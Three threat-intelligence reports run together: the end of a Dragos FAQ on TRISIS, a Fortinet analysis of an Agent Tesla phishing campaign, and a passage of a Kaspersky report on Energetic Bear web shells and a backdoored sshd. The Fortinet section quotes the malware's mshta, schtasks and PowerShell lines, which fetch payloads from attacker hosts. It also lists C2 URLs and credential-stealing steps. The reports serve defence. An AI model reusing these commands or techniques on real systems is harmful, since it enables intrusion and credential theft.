However, achieving a high confidence of attribution can be incredibly difficult without access to a significant set of data or a long period of historical analysis across numerous intrusions into victim environments.
Infrastructure attacks are often geopolitically sensitive topics that can carry real considerations between states.
In addition, there is little to no value in true attribution (state, agency, or operator identity) to defense teams.
In many cases, attribution can actually negatively affect defense teams.
Due to the lack of value to defenders and the ram- ifications of incorrect attribution Dragos does not comment publicly on attribution.
Is TRISIS a Big Deal?
TRISIS is the fifth ever publicly known ICS-tailored malware following STUXNET, HAVEX, BLACKENERGY2, and CRASHOVERRIDE.
It is the first ever publicly known ICS-tailored malware to target safety instrumented systems.
For these reasons, it is of significant importance to the ICS community, and it should be analyzed fully to capture lessons learned.
The malware is not capable of scalable and long-term disruptions or de- struction nor should there be any hype about the ability to leverage this malware all around the commu- nity.
Attacks on an industrial process that are as specific in nature as TRISIS are considerably difficult to repurpose against other sites although the tradecraft does reveal a blueprint to adversaries to replicate the effort.
However, because SIS are specifically designed and deployed to ensure the safety of the process, en- vironment, and human life an assault on one of these systems is bold and unsettling.
While fear and hype are not appropriate in this situation, this is absolutely an escalation in the types of attacks we see against ICS and should not be taken lightly.
Could This Attack Lead to Loss of Life?
Yes.
BUT, not easily nor likely directly.
Just because a safety systems security is compromised does not mean its safety function is.
A system can still fail-safe, and it has performed its function.
However, TRISIS has the capability to change the logic on the final control element and thus could reasonably be leveraged to change set points that would be required for keeping the process in a safe condition.
TRISIS would likely not directly lead to an unsafe condition but through its modifying of a system could deny the intended safety functionality when it is needed.
Dragos has no intelligence to support any such event occurred in the victim environment to compromise safety when it was needed.
What are the Indicators of Compromise?
Dragos supplied Yara rules to our ICS WorldView customers to help defenders scope their environments for this or similar malware.
However, indicators of compromise (IOCs) are not appropriate in most cases for industrial threats and capabilities.
Technical data is often not similar in adversary capabilities between victims.
Defenders should instead focus on defense recommendations and the adversary tradecraft and techniques.
TLP: WHITE information may be distributed without restriction 19 I Do Not Use Triconex Should I Care About TRISIS?
Vendors targeted in specific malware implementations such as Schneider Electric with TRISIS are victims.
The malware was not designed because Triconex was a good choice for this attack the malware would have been designed because the intended victim was using Triconex.
If the victim was leveraging a differ- ent type of SIS, it is reasonable to conclude the malware would have targeted a different vendor.
Therefore, defenders should instead focus on monitoring their environments and being aware of how they have SIS configured if its deployed according to best practices, and the ability to respond if there was an issue de- tected with the SIS.
The Triconex connection is specific to this malware, but the lessons learned apply to anyone using safety systems.
What Questions Should Executives Ask?
Executives should ask, and thus their security teams should anticipate these questions, questions such as: Do we have an SIS and if so where and what type(s)?
If we needed to collect data from the environment or validate the system has not been modified could we?
If the SIS is disrupted is there a cybersecurity compo- nent to the processes in place to determine root cause analysis and if an attack has occurred?
Do we have an incident response plan that factors in the loss of the SIS even if it does not immediately lead to an unsafe situation?
Is our SIS properly segmented off of the network and if not what monitoring do we have in place to ensure it is not impacted?
I Want to Speak on or Write About Safety Instrumented System Security What Should I Know?
Please ensure you talk to a certified safety engineer.
The security of SIS is important, but safety engineering is a very specific skillset.
What seems feasible and nuanced from security professionals may not fully rep- resent the reality of the situation.
I.e., please avoid sensationalist writing on the subject by including both security and an engineering input.
There have been presentations and topics at information security con- ferences on safety systems before that impress generalist audiences but are known to the community to be inaccurate or simplistic fantastic research but not holistic in how it is often implemented or discussed.
What that translates into is the what is possible in a given scenario should have an expert on the threat and an expert on the SIS speaking.
Contact Information 1745 Dorsey Road Hanover, MD 21076 USA dragos.com  infodragos.com
1/6 December 10, 2021 Phishing Campaign Targeting Korean to Deliver Agent Tesla New Variant fortinet.com/blog/threat-research/phishing-campaign-targeting-korean-to-deliver-agent-tesla-new-variant FortiGuard Labs Threat Research Report Affected platforms: Microsoft Windows Impacted parties:    Windows Users Impact:                     Collects sensitive information from victims device Severity level:          Critical A phishing campaign was recently caught in the wild by Fortinets FortiGuard Labs, that delivers a malicious Microsoft PowerPoint file.
The content of the phishing email,  written in Korean, asks recipients to open the attached PowerPoint file to review a purchase order.
I researched what this malicious file does once the PowerPoint file is opened and have been able to confirm that it is spreading a new variant of Agent Tesla.
Over the past several years, we have captured and analyzed many Agent Tesla variants.
It has been quite active since 2014 when it was first observed.
Agent Tesla is a .Net-based malware (developed in C.Net, VB.Net, C.Net, etc.)
whose core function is to collect sensitive information from a victims machine, including recording keystrokes and data on the system clipboard, stealing saved software credentials (browsers, mail clients, VPN, FTP, IM, etc.
),
stealing browser cookies files, and taking screenshots.
In this blog we will look at the phishing email, analyze the malicious macro contained in the attachment, show how the malware is updated and maintains persistence, examine the Agent Tesla payload, and show the ways it exfiltrates stolen data and credentials.
Lets start with how most cyberattacks begin  with a phishing email.
The Phishing Email Figure 1.1  Display of the phishing email The phishing email is written in Korean and its translated content has been included on the right side of the image in Figure 1.1.
The attacker attempts to lure the recipient into opening the attached file to confirm a purchase order.
Fortinets FortiMail has identified this phishing email as SPAM and added a tag [SPAM detected by FortiMail] to the subject to warn the recipient, as shown in Figure 1.1.
Leverage Malicious Macro in PowerPoint As you probably guessed, the attached file is fake.
There is no slide in the PowerPoint file, but a macro containing an auto-run function method called Auto_Open().
This function is called once the file is opened in MS PowerPoint.
Here is the VBA code of this method: Sub Auto_Open() p_  soraj.bear.
GroupName Shell p_ End Sub https://www.fortinet.com/blog/threat-research/phishing-campaign-targeting-korean-to-deliver-agent-tesla-new-variant https://www.fortinet.com/fortiguard/labs.html?utm_sourceblogutm_mediumcampaignutm_campaignFortiGuardLabs https://www.fortinet.com/fortiguard/labs?utm_sourceblogutm_campaignfortiguardlabs https://www.fortinet.com/resources/cyberglossary/malware?utm_sourceblogutm_campaignmalware https://www.fortinet.com/products/email-security/fortimail.html?utm_sourceblogutm_campaignfortimail-main-page 2/6 soraj is the name of a UserForm, bear is the name of CheckBox control inside soraj form.
It calls Shell to execute a command read from the GroupName property of bear CheckBox control.
In this code, soraj is the name of a UserForm and bear is the name of the CheckBox control inside the soraj form.
It calls Shell to execute a command read from the GroupName property of the bear CheckBox control.
Figure 2.1  The value of the property GroupName of bear Further, mshta hxxp[:]//bitly[.
]com/gdhamksgdsadj is the value of the soraj.bear.
GroupName which is shown in Figure 2, and is the content of a binary profile file (named o) of the VBA project.
It consists of mshta and a URL, where mshta (mshta.exe) is a Windows default program that executes HTML application files, including scripts (like VBScript).
The URL opened by mshta is redirected to another URL, hxxps[:]//onedayiwillloveyouforever[.
]blogspot.com/p/divine111.html, which contains a piece of code used to write an escaped VBScript code to a current HTML document to be executed by mshta.exe.
Figure 2.2 is a screenshot of a proxy tool, allowing you to see the URL redirection and escaped VBScript code in the response packet.
Figure 2.2  The escaped VBScript code in the response packet The escaped VBScript code is executed within the current HTML document using mshat.exe.
I will refer to this kind of VBScript as VBScript-embedded-in-HTML in this analysis.
Click here to view the entire un-escaped code of the VBScript-embedded-in-HTML.
VBScript, PowerShell scripts for multiple tasks The developer uses a wide variety of scripts, including VBScript-embedded-in-HTML, standalone VBScript, and PowerShell, during the process of delivering Agent Tesla to protect it from being easily analyzed.
These scripts are split into many files, and are downloaded at different times.
The VBScript-embedded-in-HTML is the entry of the scripts.
In the following section I will explain what they can do according to their behaviors.
1.
Upgrading  Task Scheduler: The malware seeks to obtain a new version (if applicable) every two hours to be executed on the victims system.
To do this the VBScript-embedded-in-HTML performs a command-line command to add a recurring task into Task Scheduler.
The code snippet below is used to run schtasks command with the /create option to create a new scheduled task, as shown in Figure 3.1.
args  /create /sc MINUTE /mo 120 /tn update-Yendex  /F /tr \MsHtA\hxxps://madarbloghogya.blogspot.com/p/divineback222.html Set Somosa  GetObject(new:13709620-C279-11CE-A49E-444553540000) schtasks                                         open Somosa Shellexecute StrReverse(sksathcs), args, , StrReverse(nepo),  0 Figure 3.1  Added scheduled task in Task Scheduler It executes a VBScript code within a remote HTML file, then downloads the Agent Tesla payload to run on the victims system.
It also detects and kills any other Agent Tesla process instances already running.
This allows it to perform its upgrading function.
2.
Persistence  StartMenu Startup: https://pastebin.com/Sx5t7yKs 3/6 A standalone VBS file, Public\hulalalMCROSOFT.vbs, extracted from VBScript-embedded-in-HTML downloads another base64-encoded VBS file from hxxps[:]//bitbucket[.
]org/api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1- 2 into a local file.
Going through the base64-decoded code, it saves the VBS code to a file called UYA-update.vbs located under Public folder.
This standalone VBS file downloads the Agent Tesla payload and deploys it on the victims system.
As a result, whenever the VBS file is executed it starts Agent Tesla.
To keep Agent Tesla alive on the victims system, it copies the downloaded standalone VBS file UYA-update.vbs into the StartMenus Startup folder and renames it as GTQ.vbs.
This allows it to start automatically when the system starts.
Figure 3.2 displays the Startup folder with the copied GTQ.vbs.
Figure 3.2  Standalone VBS file copied in StartMenu Startup folder 3.
Perform process-hollowing: UYA-update.vbs continues to craft a piece of PowerShell code within a base64-decoded PE file from a local variable.
It is ultimately executed by PowerShell.exe.
The decoded PE file is a .Net program that contains a function named Run() belonging to class ClassLibrary3.Class1.
Below is a piece of PowerShell code used to call this function.
[
System.
AppDomain]::CurrentDomain.
Load(fuUN).GetType(ClassLibrary3.Class1).GetMethod(Run).Invoke(null, [object[]] (1- 1enivid/selif/c4ab4d371cd40ce3303b4d33c868122f671fd37c/do8qxn/aygoh/steppins/0.2/ipa/gro.tekcubtib//:sptth)) The fuUN variable contains the base64-decoded .Net PE file, from which it calls GetType() and GetMethod() to obtain the function ClassLibrary3.Class1.Run().
Next, it calls the Run() function through Invoke() and passes a parameter with a reversed URL.
The URL is hxxps[:]//bitbucket[.
]org/api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1- 1.
Figure 3.3 is the entire code of function ClassLibrary3.Class1.Run().
Figure 3.3  Function of ClassLibrary3.Class1.Run() After successfully calling ClassLibrary3.Class1.Run() of the decoded PE, it downloads two files from the hyperlinks: hxxp[:]//149.56.200.165/rump/1.txt, which is for another .Net module to perform process-hollowing, and hxxps[:]//bitbucket[.
]org/api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1- 1, which is passed from PowerShell and is where it downloads the Agent Tesla payload from.
The Agent Tesla payload is fileless on the victims system.
It is only kept in the memory of the PowerShell process.
The downloaded .Net module has a function named ClassLibrary1.Class1.Run() that perform the process-hollowing.
It passes the Agent Tesla payload in memory and adds a path of the target process RegAsm.exe.
RegAsm.exe is an official component of Microsoft .Net Framework.
The attacker uses it as a target process in which to inject malware to protect itself from being detected.
A number of Windows API functions are called in the .Net module to deploy the Agent Tesla payload into the target process.
These are: CreateProcess() with CREATE_SUSPENDED flag: This creates a suspended RegAsm.exe process.
VirtualAllocEx(), NtUnmapViewOfSection(), ReadProcessMemory(), WriteProcessMemory(): These move the Agent Tesla payload to a newly-allocated memory within the suspended RegAsm.exe process.
SetThreadContext()/Wow64SetThreadContext(), GetThreadContext()/Wow64GetThreadContext(): These modify the RegAsm.exes registry value and points its EIP register to the entry point of the copied Agent Tesla payload.
ResumeThread(): This resumes the execution of the RegAsm.exe process from where the EIP points to.
Once completed, the Agent Tesla runs on behalf of RegAsm.exe to steal the victims information.
Agent Tesla Payload https://pastebin.com/1iKaC4ic https://www.fortinet.com/resources/cyberglossary/api-security?utm_sourceblogutm_campaignapi-security 4/6 Agent Tesla provides many features, like Keylogger, obtaining Clipboard data, stealing browser cookies and saved software credentials, as well as capturing screenshots of the victims device.
Agent Tesla publishes a Setup program that allows the attacker to choose which features to enable.
The Tesla Agent Setup program then compiles the Agent Tesla payload file according to those choices.
Agent Tesla starts these tasks in its Main() (stealing credentials), Timer (keylogger, stealing clipboard data, taking screenshots), and Thread (stealing cookies from browsers) functions.
In this variant of Agent Tesla, the attacker has only enabled stealing credentials and cookies.
The count of the software clients from which it steals credentials is more than 70, and can be categorized as Web Browsers, Email Clients, IM Clients, VPN/FTP/Downloader/Database Clients, and Windows Credentials.
The list of the affected software clients is listed as below: Chromium-based Web Browsers: Epic Privacy, Uran, Chedot, Comodo Dragon, Chromium, Orbitum, Cool Novo, Sputnik, Coowon, Brave, Liebao Browser, Elements Browser, Sleipnir 6, Vivaldi, 360 Browser, Torch Browser, Yandex Browser, QIP Surf, Amigo, Kometa, Citrio, Opera Browser, CentBrowser, 7Star, Coccoc, and Iridium Browser.
Web Browsers: Chrome, Microsoft Edge, Firefox, Safari, IceCat, Waterfox, Tencent QQBrowser, Flock Browser, SeaMonkey, IceDragon, Falkon, UCBrowser, Cyberfox, K-Meleon, PaleMoon.
VPN clients: OpenVPN, NordVPN, RealVNC, TightVNC, UltraVNC, Private Internet Access VPN.
FTP clients: FileZilla, Cftp, WS_FTP, FTP Navigator, FlashFXP, SmartFTP, WinSCP 2, CoreFTP, FTPGetter.
Email clients: Outlook, Postbox, Thunderbird, Mailbird, eM Client, Claws-mail, Opera Mail, Foxmail, Qualcomm Eudora, IncrediMail, Pocomail, Becky Internet Mail, The Bat.
Downloader/IM clients: DownloadManager, jDownloader, Psi, Trillian.
Others: MySQL and Microsoft Credentials.
Figure 4.1 displays the method used for stealing credentials from several clients.
Figure 4.1  Method used to steal credentials from some software clients Figure 4.2  Display of stolen credentials from IceCat browser Figure 4.2 shows the credentials just stolen from a web browser, IceCat, where Browser is the software client name, Password is the saved password, URL is the login page, and UserName is the saved login user name.
Each credentials of the stolen credentials has an above structure and saved in a global list variable, which later is formatted and sent to the attacker.
Sending the Stolen Data to the Attacker There are four ways to transport the stolen data to the attacker.
These are FTP Data (uploading stolen data in a file to a FTP server provided by the attacker), HTTP Post (sending data as the body of the post to a URL provided by the attacker), SMTP (sending stolen data to the attackers email address), and Telegram (using the Telegram bot API sendDocument() to send files to a specified chat or channel).
5/6 The attacker chose HTTP Post for this variant.
Once Agent Tesla needs to send data to the attacker, it encrypts the stolen data using a DES algorithm and encodes the result using a base64 algorithm, which is the final data to be sent as the body in the HTTP Post request.
The submission URL is hxxp[:]//69[.]174.99[.
]181/webpanel- divine/mawa/7dd66d9f8e1cf61ae198.php, which is a hardcoded string in Agent Tesla.
Figure 5.1 demonstrates Agent Tesla sending stolen data as a value of p in the body of HTTP POST.
Figure 5.1  Stolen data being sent in the body of HTTP Post Each item of stolen data before encryption is kept in the structure  header  data.
The header contains the basic information of the victims system: Packet number  Separator  Victim ID  Separator  Date and Time  Separator string UserName/ComputerName  Separator The data contains the stolen information, like credentials and cookies.
Figure 5.2  Example of a packet structure with packet number 6 Figure 5.2 shows an example of data with packet number 6, which contains the basic information (header part) and the Stolen Data (data part) that is base64-encoded cookies.
0de264895c1ed90486c73c6eb110af6c2222264a0854b0047b9ead88b718f7d0 is the Separator string that is hardcoded in Agent Tesla.
The Victim ID is a MD5 hash value generated from the systems hardware information.
Agent Tesla provides seven kinds of packets to send data/status to the attacker.
Each packet has a packet number to identify the packet.
They are 0, 1, 2, 3, 4, 5 and 6.
Packet 0: It is always the first packet to tell the attacker that Agent Tesla has started.
It only contains the header data.
Packet 1: It is sent once every 120 seconds.
It is like a heartbeat to tell the attacker that Agent Tesla is alive.
It only contains the header data.
Packet 2: It is sent every 60 seconds and only contains the header data.
Agent Tesla reads the response and checks if it contains uninstall.
If yes, it uninstalls Agent Tesla from the victims system, including deleting all files made by Agent Tesla and removing keys from registry that Agent Tesla created, and exits the process.
Packet 3: It sends the victims keystrokes (keylogger data) and stolen clipboard data within the data part of the post.
Packet 4: It sends captured screenshots of the victims screen within the data part of the post.
Packet 5: It sends the credentials stolen from the software clients within the data part of the post.
Packet 6: It sends cookies files in a ZIP archive that are collected from browsers and included within the data part of the post.
Conclusion In this analysis, I have shown how this phishing campaign began by targeting Korean users.
I then explained how the macro in the PowerPoint is used to execute a piece of VBScript-embedded-in-HTML code.
It also leverages a complicated standalone VBS and PowerShell script code to perform multiple tasks, like upgrading, maintaining persistence, and process-hollowing.
I then elaborated on what kind of software clients the Agent Tesla targets and what kind of data it is able to collect from them, as well as how the stolen data is sent to the attacker via the HTTP Post method.
Fortinet Protections Fortinet customers are already protected from this malware by FortiGuards Web Filtering, AntiVirus, FortiEDR, and CDR (content disarm and reconstruction) services, as follows: https://www.fortinet.com/support-and-training/support-services/fortiguard-security-subscriptions/web-filtering.html?utm_sourceblogutm_campaignweb-filtering https://www.fortiweb-cloud.com/?utm_sourceblogutm_campaignfortiweb-cloud 6/6 The malicious Macro inside the PowerPoint sample can be disarmed by the FortiGuard CDR (content disarm and reconstruction) service.
All relevant URLs have been rated as Malicious Websites by the FortiGuard Web Filtering service.
The PowerPoint sample attached to the phishing email and the standalone VBS file are detected as VBA/Agent.
BLYtr and VBS/AgentTesla.
VTOtr.dldr and are blocked by the FortiGuard AntiVirus service.
FortiEDR detects the downloaded executable file as malicious based on its behavior.
FortiMail protects Fortinet customers by blocking phishing emails and applying FortiGuards Web Filtering, AntiVirus, and CDR (content disarm and reconstruction) technologies.
In addition to these protections, we suggest that organizations have their end users also go through the FREE NSE training: NSE 1  Information Security Awareness.
It includes a module on Internet threats that is designed to help end users learn how to identify and protect themselves from phishing attacks.
IOCs URLs Involved in the Campaign: hxxps[:]//onedayiwillloveyouforever[.]blogspot[.
]com/p/divine111.html hxxps[:]//madarbloghogya[.]blogspot[.
]com/p/divineback222.html hxxps[:]//bitbucket[.
]org/api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1- 2 hxxp[:]//149[.]56.200[.
]165/rump/1.txt hxxps[:]//bitbucket[.
]org/api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1- 1 hxxp[:]//69[.]174.99[.
]181/webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php Sample SHA-256 Involved in the Campaign: [   .ppa / new purchase order.ppa] AA121762EB34D32C7D831D7ABCEC34F5A4241AF9E669E5CC43A49A071BD6E894 [UYA-update.vbs / GTQ.vbs] 0BBF16E320FB942E4EA09BB9E953076A4620F59E5FFAEFC3A2FFE8B8C2B3389C Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
https://training.fortinet.com/local/staticpage/view.php?pagense_1utm_sourceblogutm_campaignnse-1 https://training.fortinet.com/local/staticpage/view.php?pagense_1utm_sourceblogutm_campaignnse-1 https://www.fortinet.com/fortiguard/labs?utm_sourceblogutm_campaignFortiGuardLabs https://www.fortinet.com/support/support-services/fortiguard-security-subscriptions/fortiguard-services-bundles.html?utm_sourceblogutm_campaignfortiguard-service-bundles
Kaspersky Lab, 1997  2018 Energetic Bear/Crouching Yeti: attacks on servers Kaspersky Lab ICS CERT Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 1 Kaspersky Lab, 1997  2018 Contents Attack victims ................................................................................................................................................ 3 Waterhole ..................................................................................................................................................... 4 Scanned resources ........................................................................................................................................ 4 Toolset used .................................................................................................................................................. 7 Utilities ...................................................................................................................................................... 7 Malicious php files .................................................................................................................................... 7 Modified sshd .......................................................................................................................................... 12 Activity of the attackers on compromised servers ..................................................................................... 13 Conclusion ................................................................................................................................................... 15 Appendix I  Indicators of Compromise ...................................................................................................... 15 Filenames and Paths ............................................................................................................................... 15 PHP file hashes ........................................................................................................................................ 16 Yara rules ................................................................................................................................................ 16 Appendix II  Shell script to check a server for tools .................................................................................. 17 Shell script for Debian ............................................................................................................................. 17 Shell script for Centos ............................................................................................................................. 17 https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 2 Kaspersky Lab, 1997  2018 Energetic Bear/Crouching Yeti is a widely known APT group active since at least 2010.
The group tends to attack different companies with a strong focus on the energy and industrial sectors.
Companies attacked by Energetic Bear/Crouching Yeti are geographically distributed worldwide with a more obvious concentration in Europe and the US.
In 2016-2017, the number of attacks on companies in Turkey increased significantly.
The main tactics of the group include sending phishing emails with malicious documents and infecting various servers.
The group uses some of the infected servers for auxiliary purposes  to host tools and logs.
Others are deliberately infected to use them in waterhole attacks in order to reach the groups main targets.
Recent activity of the group against US organizations was discussed in a US-CERT advisory, which linked the actor to the Russian government, as well as an advisory by the UK National Cyber Security Centre.
This report by Kaspersky Lab ICS CERT presents information on identified servers that have been infected and used by the group.
The report also includes the findings of an analysis of several webservers compromised by the Energetic Bear group during 2016 and in early 2017.
https://ics-cert.kaspersky.com/ https://securelist.com/files/2014/07/EB-YetiJuly2014-Public.pdf https://www.us-cert.gov/ncas/alerts/TA18-074A https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 3 Kaspersky Lab, 1997  2018 Attack victims The table below shows the distribution of compromised servers (based on the language of website content and/or the origins of the company renting the server at the time of compromise) by countries, attacked company types and the role of each server in the overall attack scheme.
Victims of the threat actors attacks were not limited to industrial companies.
Table 1.
Compromised servers Country Description Role in the attack Russia Opposition political website Waterhole Real estate agency Auxiliary (collecting user data in the waterhole attack) Football club Waterhole Developer and integrator of secure automation systems and IS consultant Waterhole Developers of software and equipment Auxiliary (collecting user data in the waterhole attack, tool hosting) Investment website Auxiliary (collecting user data in the waterhole attack) Ukraine Electric power sector company Waterhole Bank Waterhole UK Aerospace company Waterhole Germany Software developer and integrator Waterhole Unknown Auxiliary (collecting user data in the waterhole attack) Turkey Oil and gas sector enterprise Waterhole Industrial group Waterhole Investment group Waterhole Greece Server of a university Auxiliary (collecting user data in the waterhole attack) USA Oil and gas sector enterprise Waterhole Unknown Affiliate network site Auxiliary (collecting user data in the waterhole attack) https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 4 Kaspersky Lab, 1997  2018 Waterhole All waterhole servers are infected following the same pattern: injecting a link into a web page or JS file with the following file scheme: file://IP/filename.png.
Injected link with the file scheme The link is used to initiate a request for an image, as a result of which the user connects to the remote server over the SMB protocol.
In this attack type, the attackers goal is to extract the following data from the session: user IP, user name, domain name, NTLM hash of the users password.
It should be noted that the image requested using the link is not physically located on the remote server.
Scanned resources Compromised servers are in some cases used to conduct attacks on other resources.
In the process of analyzing infected servers, numerous websites and servers were identified that the attackers had scanned with various tools, such as nmap, dirsearch, sqlmap, etc.
(
tool descriptions are provided below).
https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 5 Kaspersky Lab, 1997  2018 Table 2.
Resources that were scanned from one of the infected servers Country (based on the content) Description Russia Non-profit organization Sale of drugs Travel/maps Resources based on the Bump platform (platform for corporate social networks)  non-profit organization, social network for college/university alumni, communication platform for NGOs, etc.
Business  photographic studio Industrial enterprise, construction company Door manufacturing Cryptocurrency exchange Construction information and analysis portal Personal website of a developer Vainah Telecom IPs and Subnets (Chechen Republic) Various Chechen resources (governmental organizations, universities, industrial enterprises, etc.)
Web server with numerous sites (alumni sites, sites of industrial and engineering companies, etc.)
Muslim dating site Brazil Water treatment Turkey Hotels Embassy in Turkey Software developer Airport website City council website Cosmetics manufacturer Religious website Turktelekom subnet with a large number of sites Telnet Telecom subnet with a large number of sites Georgia Personal website of a journalist Kazakhstan Unknown web server https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 6 Kaspersky Lab, 1997  2018 Ukraine Office supplies online store Floral business Image hosting service Online course on sales Dealer of farming equipment and spare parts Ukrainian civil servants personal website Online store of parts for household appliance repair Timber sales, construction Tennis club website Online store for farmers Online store of massage equipment Online clothes store Website development and promotion Online air conditioner store Switzerland Analytical company US Web server with many domains France Web server with many domains Vietnam Unknown server International Flight tracker The sites and servers on this list do not seem to have anything in common.
Even though the scanned servers do not necessarily look like potential final victims, it is likely that the attackers scanned different resources to find a server that could be used to establish a foothold for hosting the attackers tools and, subsequently, to develop the attack.
Part of the sites scanned may have been of interest to the attackers as candidates for hosting waterhole resources.
In some cases, the domains scanned were hosted on the same server sometimes the attackers went through the list of possible domains matching a given IP.
In most cases, multiple attempts to compromise a specific target were not identified  with the possible exception of sites on the Bump platform, flight tracker servers and servers of a Turkish hotel chain.
Curiously, the sites scanned included a web developers website, kashey.ru, and resources links to which were found on this site.
These may have been links to resources developed by the sites owner: www.esodedi.ru,  www.i-stroy.ru,  www.saledoor.ru https://ics-cert.kaspersky.com/ http://www.esodedi.ru/ http://www.i-stroy.ru/ http://www.saledoor.ru/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 7 Kaspersky Lab, 1997  2018 Toolset used Utilities Utilities found on compromised servers are open-source and publicly available on GitHub: Nmap  an open-source utility for analyzing the network and verifying its security.
Dirsearch  a simple command-line tool for brute forcing (performing exhaustive searches of) directories and files on websites.
Sqlmap  an open-source penetration testing tool, which automates the process of identifying and exploiting SQL injection vulnerabilities and taking over database servers.
Sublist3r  a tool written in Python designed to enumerate website subdomains.
The tool uses open-source intelligence (OSINT).
Sublist3r supports many different search engines, such as Google, Yahoo, Bing, Baidu and Ask, as well as such services as Netcraft, Virustotal, ThreatCrowd, DNSdumpster and ReverseDNS.
The tool helps penetration testers to collect information on the subdomains of the domain they are researching.
Wpscan  a WordPress vulnerability scanner that uses the blackbox principle, i.e., works without access to the source code.
It can be used to scan remote WordPress sites in search of security issues.
Impacket  a toolset for working with various network protocols, which is required by SMBTrap.
SMBTrap  a tool for logging data received over the SMB protocol (user IP address, user name, domain name, password NTLM hash).
Commix  a vulnerability search and command injection and exploitation tool written in Python.
Subbrute  a subdomain enumeration tool available for Python and Windows that uses an open name resolver as a proxy and does not send traffic to the target DNS server.
PHPMailer  a mail sending tool.
In addition, a custom Python script named ftpChecker.py was found on one of the servers.
The script was designed to check FTP hosts from an incoming list.
Malicious php files The following malicious php files were found in different directories in the nginx folder and in a working directory created by the attackers on an infected web servers: File name Brief description md5sum Time of the latest file change (MSK) Size, bytes ini.php wso shell mail f3e3e25a822012023c6e81b206711865 2016-07-01 15:57:38 28786 mysql.php wso shell mail f3e3e25a822012023c6e81b206711865 2016-06-12 13:35:30 28786 https://ics-cert.kaspersky.com/ https://github.com/maurosoria/dirsearch https://github.com/sqlmapproject/sqlmap https://github.com/aboul3la/Sublist3r https://ru.wikipedia.org/wiki/OSINT https://github.com/wpscanteam/wpscan https://github.com/CoreSecurity/impacket https://github.com/CylanceSPEAR/SMBTrap https://github.com/commixproject/commix https://github.com/TheRook/subbrute https://github.com/PHPMailer/PHPMailer Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 8 Kaspersky Lab, 1997  2018 opts.php wso shell c76470e85b7f3da46539b40e5c552712 2016-06-12 12:23:28 36623 error_log.php wso shell 155385cc19e3092765bcfed034b82ccb 2016-06-12 10:59:39 36636 code29.php web shell 1644af9b6424e8f58f39c7fa5e76de51 2016-06-12 11:10:40 10724 proxy87.php web shell 1644af9b6424e8f58f39c7fa5e76de51 2016-06-12 14:31:13 10724 theme.php wso shell 2292f5db385068e161ae277531b2e114 2017-05-16 17:33:02 133104 sma.php PHPMailer 7ec514bbdc6dd8f606f803d39af8883f 2017-05-19 13:53:53 14696 media.php wso shell 78c31eff38fdb72ea3b1800ea917940f 2017-04-17 15:58:41 1762986 In the table above: Web shell is a script that allows remote administration of the machine.
WSO is a popular web shell and file manager (it stands for Web Shell by Orb) that has the ability to masquerade as an error page containing a hidden login form.
It is available on GitHub: https://github.com/wso-shell/WSO Two of the PHP scripts found, ini.php and mysql.php, contained a WSO shell concatenated with the following email spamming script: https://github.com/bediger4000/php-malware-analysis/tree/master/db-config.php https://ics-cert.kaspersky.com/ https://github.com/wso-shell/WSO https://github.com/bediger4000/php-malware-analysis/tree/master/db-config.php Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 9 Kaspersky Lab, 1997  2018 All the scripts found are obfuscated.
wso shell  error_log.php https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 10 Kaspersky Lab, 1997  2018 Deobfuscated wso shell  error_log.php https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 11 Kaspersky Lab, 1997  2018 One of the web shells was found on the server under two different names (proxy87.php and code29.php).
It uses the eval function to execute a command sent via HTTP cookies or a POST request: Web shell  proxy87.php https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 12 Kaspersky Lab, 1997  2018 Deobfuscated web shell  proxy87.php Modified sshd A modified sshd with a preinstalled backdoor was found in the process of analyzing the server.
Patches with some versions of backdoors for sshd that are similar to the backdoor found are available on GitHub, for example: https://github.com/jivoi/openssh-backdoor-kit Compilation is possible on any OS with binary compatibility.
https://ics-cert.kaspersky.com/ https://github.com/jivoi/openssh-backdoor-kit Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 13 Kaspersky Lab, 1997  2018 As a result of replacing the original sshd file with a modified one on the infected server, an attacker can use a master password to get authorized on the remote server, while leaving minimal traces (compared to an ordinary user connecting via ssh).
In addition, the modified sshd logs all legitimate ssh connections (this does not apply to the connection that uses the master password), including connection times, account names and passwords.
The log is encrypted and is located at /var/tmp/.pipe.sock.
Decrypted log at /var/tmp/.pipe.sock Activity of the attackers on compromised servers In addition to using compromised servers to scan numerous resources, other attacker activity was also identified.
After gaining access to the server, the attackers installed the tools they needed at different times.
